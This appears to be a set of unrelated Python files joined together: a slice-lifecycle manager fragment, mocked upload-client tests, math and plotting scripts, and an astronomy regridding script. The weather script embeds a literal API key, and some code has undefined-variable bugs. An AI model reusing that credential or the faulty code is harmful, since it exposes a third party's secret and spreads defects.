this delete.\n jsonNSI[\"id\"] = jsonNSI[\"uuid\"]\n del jsonNSI[\"uuid\"]\n\n # prepares time values to check if termination is done in the future\n if (TerminOrder['terminateTime'] == \"0\" or TerminOrder['terminateTime'] == 0):\n termin_time = 0\n else:\n termin_time = dateutil.parser.parse(TerminOrder['terminateTime'])\n instan_time = dateutil.parser.parse(jsonNSI['instantiateTime'])\n\n # depending on the termin_time executes one action or another\n if termin_time == 0 and jsonNSI['nsi-status'] == \"INSTANTIATED\":\n jsonNSI['terminateTime'] = str(datetime.datetime.now().isoformat())\n jsonNSI['sliceCallback'] = TerminOrder['callback']\n jsonNSI['nsi-status'] = \"TERMINATING\"\n\n for terminate_nsr_item in jsonNSI['nsr-list']:\n if (terminate_nsr_item['working-status'] != \"ERROR\"):\n terminate_nsr_item['working-status'] = \"TERMINATING\"\n\n repo_responseStatus = nsi_repo.update_nsi(jsonNSI, nsiId)\n\n # starts the thread to terminate while sending back the response\n thread_ns_termination = thread_ns_terminate(jsonNSI)\n time.sleep(0.1)\n thread_ns_termination.start()\n \n value = 200\n elif (instan_time < termin_time): # TODO: manage future termination orders\n jsonNSI['terminateTime'] = str(termin_time)\n repo_responseStatus = nsi_repo.update_nsi(jsonNSI, nsiId)\n value = 200\n else:\n repo_responseStatus = {\"error\":\"Wrong value: 0 for instant termination or date time later than \"+NSI.instantiateTime+\", to terminate in the future.\"}\n value = 400\n\n return (repo_responseStatus, value)\n \n else:\n return ('{\"error\":\"There is no NSIR in the db.\"}', 500)\n\n# Updates a NSI being terminated with the latest informationg coming from the MANO/GK.\ndef update_terminating_nsi(nsiId, request_json):\n LOG.info(\"NSI_MNGR: get the specific NSI to update the right service information.\")\n time.sleep(0.1)\n jsonNSI = nsi_repo.get_saved_nsi(nsiId)\n if (jsonNSI):\n # starts the thread to update termination info within the services\n thread_update_slice_termination = update_slice_termination(nsiId, request_json)\n time.sleep(0.1)\n thread_update_slice_termination.start()\n return (jsonNSI, 200)\n else:\n return ('{\"error\":\"There is no NSIR in the db.\"}', 500)\n\n# Checks if there is any other NSI based on a NST. If not, changes the nst usageStatus parameter to \"NOT_IN_USE\"\ndef removeNSIinNST(nstId):\n nsis_list = nsi_repo.get_all_saved_nsi()\n\n #TODO: validate if there are nsis to return it as error\n\n all_nsis_terminated = True\n if nsis_list:\n for nsis_item in nsis_list:\n if (nsis_item['nst-ref'] == nstd_id) and (nsis_item['nsi-status'] in [\"INSTANTIATED\", \"INSTANTIATING\", \"READY\"]):\n all_nsis_terminated = False\n break;\n else:\n pass\n\n if all_nsis_terminated:\n nst_descriptor = nst_catalogue.get_saved_nst(nstId)\n nst_json = nst_descriptor['nstd']\n if (nst_json['usageState'] == \"IN_USE\"):\n nstParameter2update = \"usageState=NOT_IN_USE\"\n updatedNST_jsonresponse = nst_catalogue.update_nst(nstParameter2update, nstId)\n \n# Deletes a NST kept in catalogues\ndef remove_nsi(nsiId):\n logging.info(\"NSI_MNGR: Delete NSI with id: \" + str(nsiId))\n nsi_repo_response = nsi_repo.get_saved_nsi(nsiId)\n if (nsi_repo_response[\"nsi-status\"] in [\"TERMINATED\", \"ERROR\"]):\n nsi_repo_response = nsi_repo.delete_nsi(nsiId)\n return nsi_repo_response\n else:\n return 403\n\n############################################ NSI GET SECTION ############################################\n# Gets one single NSI item information\ndef get_nsi(nsiId):\n LOG.info(\"NSI_MNGR: Retrieving NSI with id: \" +str(nsiId))\n nsirepo_jsonresponse = nsi_repo.get_saved_nsi(nsiId)\n if (nsirepo_jsonresponse):\n return (nsirepo_jsonresponse, 200)\n else:\n return_msg = {}\n return_msg['msg'] = \"There are no NSIR with this uuid in the db.\"\n return (return_msg, 200)\n\n# Gets all the existing NSI items\ndef get_all_nsi():\n LOG.info(\"NSI_MNGR: Retrieve all existing NSIs\")\n nsirepo_jsonresponse = nsi_repo.get_all_saved_nsi()\n if (nsirepo_jsonresponse):\n return (nsirepo_jsonresponse, 200)\n else:\n return_msg = {}\n return_msg['msg'] = \"There are no NSIR in the db.\"\n return (return_msg, 200)","sub_path":"slice_lifecycle_mgr/nsi_manager.py","file_name":"nsi_manager.py","file_ext":"py","file_size_in_byte":38310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"188611544","text":"import io\nimport json\nimport os\nimport re\nimport time\ntry:\n from unittest import mock\nexcept ImportError:\n import mock\n\nimport numpy as np\nimport png\nimport pytest\nimport requests\nfrom six import string_types\nfrom lfview.client import UploadSession\nfrom lfview.client.constants import CHUNK_SIZE\nfrom lfview.resources import files, manifests, spatial, scene\n\n\n@pytest.fixture()\n@mock.patch('lfview.client.session.requests.get')\n@mock.patch('lfview.client.session.requests.Session.get')\ndef session(mock_session_get, mock_get):\n mock_get_resp = mock.MagicMock()\n mock_get.return_value = mock_get_resp\n mock_get_resp.json.return_value = {\n 'upload_api_url_spec': '{upload_base_url}/{base_type}{type_delimiter}{sub_type}',\n 'user_api_url': 'https://example.com/api/v1/user',\n }\n mock_get_resp.ok = True\n mock_session_get_resp = mock.MagicMock()\n mock_session_get.return_value = mock_session_get_resp\n mock_session_get_resp.json.return_value = {\n 'accepted_terms': True,\n 'links': {\n 'default_upload_location': 'https://example.com/api/v1/project/myorg/myproj'\n },\n }\n mock_session_get_resp.ok = True\n return UploadSession(api_key='my_key', endpoint='https://example.com')\n\n\ndef test_session(session):\n assert session.service == 'https://example.com'\n assert session.api_key == 'my_key'\n assert session.client_version == 'View API Python Client v0.1.2'\n assert session.source == 'View API Python Client v0.1.2'\n assert session.upload_base_url == 'https://example.com/api/v1/project/myorg/myproj'\n assert session.upload_api_url_spec == '{upload_base_url}/{base_type}{type_delimiter}{sub_type}'\n assert session.headers == {\n 'Authorization': 'bearer my_key',\n 'Source': 'View API Python Client v0.1.2',\n 'Accept-Encoding': 'gzip, deflate'\n }\n assert isinstance(session.session, requests.Session)\n assert session.session.headers['Authorization'] == 'bearer my_key'\n assert session.session.headers['Source'] == 'View API Python Client v0.1.2'\n del session.source\n assert session.headers == {\n 'Authorization': 'bearer my_key',\n 'Accept-Encoding': 'gzip, deflate'\n }\n assert session.session.headers['Authorization'] == 'bearer my_key'\n assert 'source' not in session.session.headers\n\n\n@mock.patch('lfview.client.session.requests.Session.post')\ndef test_invite(mock_post, session):\n mock_resp = mock.MagicMock()\n mock_post.return_value = mock_resp\n mock_resp.json.return_value = {}\n mock_resp.ok = True\n view = manifests.View()\n view._links = {\n 'invites': 'https://example.com/api/v1/view/myorg/myproj/abc123/invites',\n }\n with pytest.raises(ValueError):\n session.invite_to_view(\n view=view,\n email='example@example.com',\n role='org.owner',\n send_email=False,\n )\n with pytest.raises(ValueError):\n session.invite_to_view(\n view='https://example.com/api/v1/view/myorg/myproj/abc123/invites',\n email='example@example.com',\n role='view.editor',\n send_email=False,\n )\n session.invite_to_view(\n view=view,\n email='example@example.com',\n role='view.editor',\n send_email=False,\n message='some message',\n )\n mock_post.assert_called_once_with(\n view._links['invites'],\n json={\n 'email': 'example@example.com',\n 'roles': ['view.editor'],\n 'send_email': False\n },\n )\n session.invite_to_view(\n view=view,\n email='example@example.com',\n role='view.spectator',\n send_email=True,\n message='some message',\n )\n mock_post.assert_called_with(\n view._links['invites'],\n json={\n 'email': 'example@example.com',\n 'roles': ['view.spectator'],\n 'send_email': True,\n 'message': 'some message',\n },\n )\n\n\n@pytest.mark.parametrize('parallel', [True, False])\n@pytest.mark.parametrize('workers', [None, 5, 1])\n@pytest.mark.parametrize('verbose', [True, False])\n@mock.patch('lfview.client.session.requests.Session.post')\n@mock.patch('lfview.client.session.requests.Session.patch')\n@mock.patch('lfview.client.session.requests.Session.put')\n@mock.patch('lfview.client.session.utils.upload_array')\n@mock.patch('lfview.client.session.utils.upload_image')\n@mock.patch('lfview.resources.files.base._BaseUIDModel.pointer_regex')\ndef test_upload(\n mock_regex, mock_upload_image, mock_upload_array, mock_put, mock_patch,\n mock_post, verbose, workers, parallel, session\n):\n mock_resp = mock.MagicMock()\n mock_resp.json.return_value = {\n 'links': {\n 'self': 'https://example.com/api/self',\n 'location': 'https://example.com/api/location',\n 'thumbnail': 'https://example.com/api/self/thumbnail'\n },\n }\n mock_resp.ok = True\n mock_post.return_value = mock_resp\n mock_patch.return_value = mock_resp\n mock_put.return_value = mock_resp\n mock_file_resp = mock.MagicMock()\n mock_file_resp.json.return_value = {}\n mock_file_resp.ok = True\n mock_upload_array.return_value = mock_file_resp\n mock_upload_image.return_value = mock_file_resp\n mock_regex.return_value = re.compile(r'^https://example\\.com/api/')\n\n mapping_uploaded = spatial.MappingDiscrete(\n values=[(255, 0, 0), (0, 255, 0), (0, 0, 255)],\n end_points=[10., 20.],\n end_inclusive=[True, True],\n visibility=[True, True, True],\n )\n mapping_uploaded._links = {\n 'self': 'https://example.com/api/mapping_uploaded'\n }\n array_data = files.Array([0., 10, 20])\n img = io.BytesIO()\n s = [[0, 1, 0, 1], [1, 0, 1, 0], [0, 1, 0, 1], [1, 0, 1, 0]]\n w = png.Writer(4, 4, greyscale=True, bitdepth=16)\n w.write(img, s)\n\n view = manifests.View(\n name='Test View',\n elements=[\n spatial.ElementPointSet(\n vertices=files.Array([[0., 0, 0], [1, 1, 1], [2, 2, 2]]),\n data=[\n spatial.DataBasic(\n name='Dataset 1',\n location='n',\n array=array_data,\n uid='local_id',\n ),\n spatial.DataBasic(\n name='Dataset 2',\n description='Same array as dataset 1',\n location='n',\n array=array_data,\n mappings=[\n spatial.MappingContinuous(\n gradient='https://example.com/api/my_colormap',\n data_controls=[0., 10., 20., 30.],\n ),\n mapping_uploaded,\n ]\n ),\n spatial.TextureProjection(\n origin=[0., 0, 0],\n axis_u=[1., 0, 0],\n axis_v=[0., 1, 0],\n image=img,\n ),\n ],\n defaults={\n 'color': {\n 'value': '#FF0000'\n },\n 'opacity': {\n 'value': 1\n },\n 'size': {\n 'value': 10\n },\n 'shape': 'square'\n },\n ),\n 'https://example.com/api/my_element',\n ]\n )\n try:\n dirname, _ = os.path.split(os.path.abspath(__file__))\n png_file = os.path.sep.join(dirname.split(os.path.sep) + ['temp.png'])\n s = ['110010010011', '101011010100', '110010110101', '100010010011']\n s = [[int(v) for v in val] for val in s]\n f = open(png_file, 'wb')\n w = png.Writer(len(s[0]), len(s), greyscale=True, bitdepth=16)\n w.write(f, s)\n f.close()\n\n session.upload(\n view,\n verbose=verbose,\n thumbnail=png_file,\n parallel=parallel,\n workers=workers,\n )\n finally:\n os.remove(png_file)\n\n assert mock_post.call_count == 9\n assert mock_patch.call_count == 1\n assert mock_put.call_count == 1\n assert mock_upload_array.call_count == 2\n assert mock_upload_image.call_count == 2\n\n mock_post.assert_has_calls(\n [\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/files/array',\n json={\n 'shape': [3, 3],\n 'dtype': 'Float64Array',\n 'content_type': 'application/octet-stream',\n 'content_length': 31,\n 'content_encoding': 'gzip'\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/files/array',\n json={\n 'shape': [3],\n 'dtype': 'Float64Array',\n 'content_type': 'application/octet-stream',\n 'content_length': 24, # this file is 29 bytes when compressed\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/files/image',\n json={\n 'content_type': 'image/png',\n 'content_length': img.seek(0, 2),\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/mappings/continuous',\n json={\n 'gradient': 'https://example.com/api/my_colormap',\n 'data_controls': [0., 10., 20., 30.],\n 'gradient_controls': [0., 0., 1., 1.],\n 'visibility': [False, True, True, True, False],\n 'interpolate': False,\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/data/basic',\n json={\n 'name': 'Dataset 1',\n 'location': 'nodes',\n 'array': 'https://example.com/api/self',\n 'mappings': [],\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/data/basic',\n json={\n 'name': 'Dataset 2',\n 'description': 'Same array as dataset 1',\n 'location': 'nodes',\n 'array': 'https://example.com/api/self',\n 'mappings': [\n 'https://example.com/api/self',\n 'https://example.com/api/mapping_uploaded',\n ],\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/textures/projection',\n json={\n 'origin': [0., 0, 0],\n 'axis_u': [1., 0, 0],\n 'axis_v': [0., 1, 0],\n 'image': 'https://example.com/api/self',\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/elements/pointset',\n json={\n 'vertices': 'https://example.com/api/self',\n 'data': [\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n ],\n 'defaults': {\n 'visible': True,\n 'color': {\n 'value': '#FF0000'\n },\n 'opacity': {\n 'value': 1\n },\n 'size': {\n 'value': 10\n },\n 'shape': 'square'\n },\n },\n ),\n mock.call(\n 'https://example.com/api/v1/project/myorg/myproj/views',\n json={\n 'name': 'Test View',\n 'elements': [\n 'https://example.com/api/self',\n 'https://example.com/api/my_element',\n ],\n 'contents': [\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n 'https://example.com/api/my_colormap',\n 'https://example.com/api/self',\n 'https://example.com/api/mapping_uploaded',\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n 'https://example.com/api/self',\n 'https://example.com/api/my_element',\n ],\n },\n ),\n ],\n any_order=True\n )\n mock_patch.assert_called_with(\n 'https://example.com/api/mapping_uploaded',\n json={\n 'values': ['#FF0000', '#00FF00', '#0000FF'],\n 'end_points': [10., 20.],\n 'end_inclusive': [True, True],\n 'visibility': [True, True, True],\n },\n )\n mock_put.assert_called_with(\n 'https://example.com/api/self/thumbnail',\n json={\n 'content_type': 'image/png',\n 'content_length': 88,\n },\n )\n","sub_path":"tests/test_upload_session.py","file_name":"test_upload_session.py","file_ext":"py","file_size_in_byte":13732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"223495146","text":"# EKOK iki sayının katlarının kesiştiği en küçük kattır.\n# EBOB iki sayının bölenlerinin kesiştiği en büyük bölendir.\n\ndef asalSayi(sayi):\n if (sayi == 1): return False\n elif (sayi == 2): return True\n elif (sayi == 3): return True\n else:\n sayinin_karekoku = sayi**(1/2)\n # print(\"Sayının karekokü: \", sayinin_karekoku)\n sayinin_karekoku = int(sayinin_karekoku)\n denenecekBolenler = list(range(2,sayinin_karekoku+1))\n # print(\"Denenecek bölenler: \", denenecekBolenler)\n for eleman in denenecekBolenler:\n if (sayi % eleman == 0):\n asallık = False\n # print(\"Bölüm sıfır olan bulundu: \", eleman)\n break\n else:\n asallık = True\n continue\n return asallık\n\ndef asalBulucu(kacaKadar):\n sayilar = list(range(1, kacaKadar+1))\n asalOlanlar = list()\n for i in sayilar:\n if asalSayi(i) == True:\n asalOlanlar.append(i)\n else:\n continue\n return asalOlanlar\n\n\nprint(\"\"\"\n========================================================\n\n EBOB/EKOK BULMA SİHİRBAZI\n (ver dog1)\n\n En büyük ortak bölen elde etmek için \"1\"\n En küçük ortak kat elde etmek için \"2\"\n Çıkmak için ise q basınız.\n\n=======================================================\n\n\"\"\")\n\nwhile True:\n islemGiriniz = input(\"Komut Numarası giriniz. \")\n if islemGiriniz == \"1\":\n # ebob olayları\n ebobIlkSayi = int(input(\"İlk sayıyı giriniz: \"))\n ebobIkinciSayi = int(input(\"İkinci sayıyı giriniz: \"))\n\n ebobIlkDeneneceklerListesi = list(range(1, ebobIlkSayi+1))\n ebobIkinciDeneneceklerListesi = list(range(1, ebobIkinciSayi+1))\n\n ebobIlkBolunenListesi = list()\n for ebobIlkDenenen in ebobIlkDeneneceklerListesi:\n if (ebobIlkSayi % ebobIlkDenenen == 0):\n ebobIlkBolunenListesi.append(ebobIlkDenenen)\n else: continue\n\n ebobIkinciBolunenListesi = list()\n for ebobIkinciDenenen in ebobIkinciDeneneceklerListesi:\n if (ebobIkinciSayi % ebobIkinciDenenen == 0):\n ebobIkinciBolunenListesi.append(ebobIkinciDenenen)\n else: continue\n\n ebobBulunanlarListesi = list()\n for ebobDenenen1 in ebobIlkBolunenListesi:\n for ebobDenenen2 in ebobIkinciBolunenListesi:\n if ebobDenenen1 == ebobDenenen2:\n ebobBulunanlarListesi.append(ebobDenenen1)\n else: continue\n\n ebobBulunanlarListesiUzunluk = len(ebobBulunanlarListesi)\n print(\"EBOB SONUCUNUZ: \", ebobBulunanlarListesi[ebobBulunanlarListesiUzunluk-1])\n\n\n elif islemGiriniz == \"2\":\n # ekok olayları\n sonucSayi = dict()\n ekokIlkSayi = int(input(\"İlk sayıyı giriniz: \"))\n ekokIkinciSayi = int(input(\"İkinci sayıyı giriniz: \"))\n\n # İlk sayının asal çarpanları bulma işlemi:\n ekokIlkSayiAsalCarpanlari = list()\n ekokIlkSayiDuzenliListe = list()\n ekokDuzenlenmisIlkSayi = ekokIlkSayi\n ilkSayiyaKadarAsallar = asalBulucu(ekokIlkSayi+1)\n while ekokDuzenlenmisIlkSayi > 1:\n for ekokAsalDeneme in ilkSayiyaKadarAsallar:\n if ekokDuzenlenmisIlkSayi % ekokAsalDeneme == 0:\n ekokIlkSayiAsalCarpanlari.append(ekokAsalDeneme)\n ekokIlkSayiDuzenliListe.append(ekokAsalDeneme)\n ekokDuzenlenmisIlkSayi = ekokDuzenlenmisIlkSayi / ekokAsalDeneme\n else:\n continue\n ekokIlkSayiAsalCarpanlari.sort()\n\n ekokIkinciSayiAsalCarpanlari = list()\n ekokIkinciSayiDuzenliListe = list()\n ekokDuzenlenmisIkinciSayi = ekokIkinciSayi\n ikinciSayiyaKadarAsallar = asalBulucu(ekokIkinciSayi+1)\n while ekokDuzenlenmisIkinciSayi > 1:\n for ekokAsalDeneme in ikinciSayiyaKadarAsallar:\n if ekokDuzenlenmisIkinciSayi % ekokAsalDeneme == 0:\n ekokIkinciSayiAsalCarpanlari.append(ekokAsalDeneme)\n ekokIkinciSayiDuzenliListe.append(ekokAsalDeneme)\n ekokDuzenlenmisIkinciSayi = ekokDuzenlenmisIkinciSayi / ekokAsalDeneme\n else:\n continue\n ekokIkinciSayiAsalCarpanlari.sort()\n\n for ekokHerDeneme in ekokIkinciSayiDuzenliListe:\n if ekokIlkSayiAsalCarpanlari.count(ekokHerDeneme) > ekokIkinciSayiAsalCarpanlari.count(ekokHerDeneme):\n sonucSayi.update({ekokHerDeneme: ekokIlkSayiAsalCarpanlari.count(ekokHerDeneme)})\n else:\n sonucSayi.update({ekokHerDeneme: ekokIkinciSayiAsalCarpanlari.count(ekokHerDeneme)})\n for ekokHerDeneme in ekokIlkSayiDuzenliListe:\n if ekokIlkSayiAsalCarpanlari.count(ekokHerDeneme) > ekokIkinciSayiAsalCarpanlari.count(ekokHerDeneme):\n sonucSayi.update({ekokHerDeneme: ekokIlkSayiAsalCarpanlari.count(ekokHerDeneme)})\n else:\n sonucSayi.update({ekokHerDeneme: ekokIkinciSayiAsalCarpanlari.count(ekokHerDeneme)})\n\n toplamCikti = 1\n for x,y in sonucSayi.items():\n toplamCikti = toplamCikti * (x**y)\n print(\"EKOK SONUCUNUZ: \", toplamCikti)\n\n\n elif islemGiriniz == \"q\":\n print(\"Görüşmek üzere.\")\n break\n\n else:\n print(\"Yanlış bir komut numarası girdiniz.\")\n\n\n ## son Komut\n print(\"\")\n","sub_path":"ebobEkokBulucu.py","file_name":"ebobEkokBulucu.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"624893654","text":"# メンバーとデータをリストに格納\nmenber = {\n 'Aiba': 175,\n 'Matsumoto': 172,\n 'Ninomiya': 168,\n 'Oono': 166,\n 'Sakurai': 171\n}\n\n\n# リストの昇順ソート\nfor k, v in sorted(menber.items(), key=lambda x: x[1]):\n print(str(k) + \": \" + str(v))\n","sub_path":"src/basic-c3/task20180801_q06.py","file_name":"task20180801_q06.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"540864788","text":"import pygame\nfrom pygame import gfxdraw\nfrom math import pi\n\nimport scipy.io.wavfile as wavfile\nimport numpy\nimport pylab\n\n# Initialize the game engine\npygame.init()\n \n# Define the colors we will use in RGB format\nBLACK = ( 0, 0, 0)\nWHITE = (255, 255, 255)\nBLUE = ( 0, 0, 255)\nGREEN = ( 0, 255, 0)\nRED = (255, 0, 0)\n\n#circle position\nxPos = 0\nyPos = 0\n#window params\nheight = 480\nwidth = 640\n \n# Set the width and height of the screen\nsize = [width,height]\nscreen = pygame.display.set_mode(size)\n \npygame.display.set_caption(\"Audio Ball\")\n \n#Loop until the user clicks the close button.\ndone = False\nclock = pygame.time.Clock()\n \n\n#plots wav of left channel\nrate,data = wavfile.read('sampletone.wav')\n\n#Draw a circle\n # unfortunately if you want antialiasing support is only available for\n # the outline of a circle, so we must draw the filled circle beneath the outlined\n # circle.\ndef circle(x,y,r,color):\n pygame.gfxdraw.filled_circle(screen,x,y,r,color)\n pygame.gfxdraw.aacircle(screen,x,y,r,color)\n\nwhile not done:\n \n # This limits the while loop to a max of 10 times per second.\n # Leave this out and we will use all CPU we can.\n clock.tick(30)\n\n xPos += 1\n yPos += 3\n \n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done=True # Flag that we are done so we exit this loop\n \n \n # Clear the screen and set the screen background\n screen.fill(WHITE)\n \n circle((width/2),yPos,40,RED)\n \n\n # Updates screen: this MUST happen after all the other drawing commands.\n pygame.display.flip()\n \n# Be IDLE friendly\npygame.quit()","sub_path":"audio ball/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"407190114","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom python.web.code.logger import init_logger\n\n__all__ = []\n\nimport logging\nfrom python.html.code.beautifulsoup import load_html, stringify_tag, intify_tag\nimport requests\n\nDEFAULT_URL=\"http://onet.pl\"\nTEST_URL = \"http://www.sport.pl/pilka/2,65055,,Legia_Warszawa_Korona_Kielce,,178614153,6735.html\"\nMATCH_DIV_SELECTOR = {\"id\":\"game_result_m\"}\nLEFT_TEAM_NAME_SELECTOR = {\"id\":\"gr_gt_l_n\"}\nRIGHT_TEAM_NAME_SELECTOR = {\"id\":\"gr_gt_r_n\"}\nLEFT_TEAM_SCORE_SELECTOR = {\"id\":\"gr_m_l_score\"}\nRIGHT_TEAM_SCORE_SELECTOR = {\"id\":\"gr_m_r_score\"}\n\n__all__.append('send_request')\ndef send_request(kwargs):\n response = requests.get(**kwargs)\n logging.info(\"URL: \" + response.url)\n logging.info(\"Status: \" + str(response.status_code))\n return response\n\n\nif __name__ == '__main__':\n init_logger()\n logging.warn(\"Main function\")\n response = send_request({\"url\":DEFAULT_URL})\n\n\n resonse = send_request({\"url\":TEST_URL})\n if response.status_code == 200:\n html = response.content\n page_soup = load_html(html)\n\n meczyk = page_soup.find(**MATCH_DIV_SELECTOR)\n\n left_team_name = stringify_tag(meczyk.find(**LEFT_TEAM_NAME_SELECTOR))\n right_team_name = stringify_tag(meczyk.find(**RIGHT_TEAM_NAME_SELECTOR))\n\n left_team_score = intify_tag(meczyk.find(**LEFT_TEAM_SCORE_SELECTOR))\n right_team_score = intify_tag(meczyk.find(**RIGHT_TEAM_SCORE_SELECTOR))\n","sub_path":"python/web/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"124988072","text":"import plotly\nimport requests\nimport calendar\nimport plotly.io as pio\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n\nplotly.io.orca.config.executable = \"/home/ubuntu/anaconda3/bin/orca\"\npio.orca.config.save()\n\n\ndef get_historical_data(destination, year=2018):\n wth_key = \"ORBhhIoK\"\n # Static dict for station ( MVP style )\n station_city = {\"denpasar\": '97230',\n \"courshavel\": '06700',\n \"phuket\": '48564',\n \"verona\": '16090'}\n wth_data_monthly = f\"https://api.meteostat.net/v1/history/monthly?station={station_city[destination]}&start={year}-01&end={year}-12&key={wth_key}\"\n wth_data = requests.get(wth_data_monthly).json()['data']\n stats = {\"months\": [], \"tmp_mean\": [], \"raindays\": []}\n for stat in wth_data:\n stats[\"months\"].append(calendar.month_name[int(stat['month'].split(\"-\")[-1])])\n stats[\"tmp_mean\"].append(float(stat['temperature_mean']))\n stats[\"raindays\"].append(int(stat['raindays']))\n return stats\n\n\ndef get_dashboard(destination):\n weather_data = get_historical_data(destination)\n fig = make_subplots(\n rows=2, cols=1,\n specs=[[{\"type\": \"xy\"}],\n [{\"type\": \"xy\"}]],\n subplot_titles=(\"Mean temperatures\", \"Raindays cont\"),\n )\n x = weather_data['months']\n fig.add_trace(go.Scatter(x=x,\n y=weather_data['tmp_mean']),\n row=1, col=1)\n\n fig.add_trace(go.Scatter(x=x,\n y=weather_data['raindays'], ),\n row=2, col=1)\n\n fig.update_layout(height=700, width=700, showlegend=False)\n fig.update_yaxes(title_text=\"Raindays count\", row=1, col=1)\n fig.update_yaxes(title_text=\"C*\", row=2, col=1)\n print(\"Ready to wrtie\")\n fig.write_image(f\"/home/ubuntu/lifetime/dashboards/weather/{destination}_weather.png\")\n return fig.to_image()\n","sub_path":"features/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425126313","text":"#!/usr/bin/python\n\n# Planck resolution is 5'. We will smooth and regrid all maps to the Planck map.\n\n# Map Resolution Convol size\n# Lee et al. (2012) Av 5' 5\n# GALFA HI 3.7' 3.363\n# CfA CO Dame et al. (2001) 8' No smoothing\n\nimport os\nimport mirpy\nimport numpy as np\n\ndef check_file(filename, clobber=False):\n\n exists = False\n\n if os.path.isfile(filename) or os.path.isdir(filename):\n exists = True\n print('\\tImage {:s} exists'.format(filename))\n if clobber:\n print('\\tDeleting image {:s}'.format(filename))\n os.system('rm -rf {:s}'.format(filename))\n exists = False\n\n return exists\n\ndef regrid_images(image, template):\n import mirpy\n\n # Avoiding the miriad errors avoids errors from existing files\n try:\n mirpy.fits(image+'.fits',\n out=image+'.mir',\n op='xyin')\n except mirpy.wrapper.MiriadError:\n pass\n\n try:\n mirpy.fits(template+'.fits',\n out=template+'.mir',\n op='xyin')\n except mirpy.wrapper.MiriadError:\n pass\n\n try:\n mirpy.regrid(image+'.mir', tin=template+'.mir',\n out=image+'_regrid.mir')\n except mirpy.wrapper.MiriadError:\n pass\n\n try:\n mirpy.fits(image+'_regrid.mir', out=image+'_regrid.fits',\n op='xyout')\n except mirpy.wrapper.MiriadError:\n pass\n\ndef main():\n\n from mirpy import fits, regrid, smooth\n from mycoords import calc_image_origin\n from astropy.io import fits as pyfits\n import numpy as np\n\n os.chdir('/d/bip3/ezbc/perseus/data')\n\n # If true, deletes files to be written\n clobber = 1\n clobber_hi = 1\n\n in_images = ('/d/bip3/ezbc/multicloud/data/hi/multicloud_hi_galfa_cube',\n )\n\n im_hi = 'hi/perseus_hi_galfa_cube_roy'\n\n # Load the images into miriad\n print('\\nLoading images into miriad...')\n out_images = (im_hi,\n )\n\n for i in xrange(len(in_images)):\n if out_images[i] == im_hi:\n clobber_temp = clobber_hi\n else:\n clobber_temp = clobber\n exists = check_file(out_images[i] + '.mir', clobber=clobber_temp)\n if not exists:\n print('\\tLoading {:s}.fits\\n'.format(in_images[i]))\n fits(in_images[i] + '.fits',\n out=out_images[i] + '.mir',\n op='xyin')\n\n # Regrid Planck images and HI image to have one beam/pixel\n print('\\nRegridding images')\n\n images = (im_hi,)\n\n # The center coordinate of the region is RA: 4h13m26s, Dec =33d22.\n # Will it be too much of asking if we want to get a coverage of around 20deg\n # X20 deg?\n\n # In terms of rectangular region it will be\n\n # DEC ---> 20deg to 40 deg\n # RA-------> 4h40m to 3h20m\n\n #desc = (59.75,0,-0.08333,180,26.05,0,0.08333,132)\n\n delta_ra = -0.083333333 / 5.0\n delta_dec = 0.083333333 / 5.0\n\n ref_pix, npix = calc_image_origin(x_limits=(15 * (4 + 40./60.),\n 15 * (3 + 20./60.)),\n y_limits=(20, 38),\n delta_x=delta_ra,\n delta_y=delta_dec)\n\n desc_av = [0, ref_pix[0], delta_ra, npix[0], \\\n 0, ref_pix[1], delta_dec, npix[1]]\n\n low_vel = -100.0\n high_vel = 100.0\n vel_res = 0.16667\n vel_npix = int((high_vel - low_vel) / vel_res)\n ref_pix_vel = int(vel_npix / 2.0) * vel_res\n ref_pix_vel = vel_npix / 2.0\n\n desc_hi = [0, ref_pix[0], delta_ra, npix[0], \\\n 0, ref_pix[1], delta_dec, npix[1], \\\n 0, ref_pix_vel, vel_res, vel_npix]\n\n for image in images:\n\n # If HI, regrid the velocity axis as well\n if image in (im_hi,):\n desc = desc_hi\n else:\n desc = desc_av\n\n exists = check_file(image + '_regrid.mir', clobber=clobber)\n\n\n if not exists:\n print('\\tRegridding {:s}_regrid.mir\\n'.format(image))\n regrid(image + '.mir',\n out=image + '_regrid.mir',\n desc=desc)\n\n images = [im_hi,]\n\n # Write the images out to fits images\n print('\\nWriting images to fits format')\n\n images = [\n im_hi + '_regrid',\n ]\n\n for image in images:\n exists = check_file(image + '.fits', clobber=clobber)\n\n if not exists:\n print('\\tWriting {:s}.mir\\n'.format(image))\n\n fits(image + '.mir',\n out=image + '.fits',\n op='xyout')\n\nif __name__ == '__main__':\n 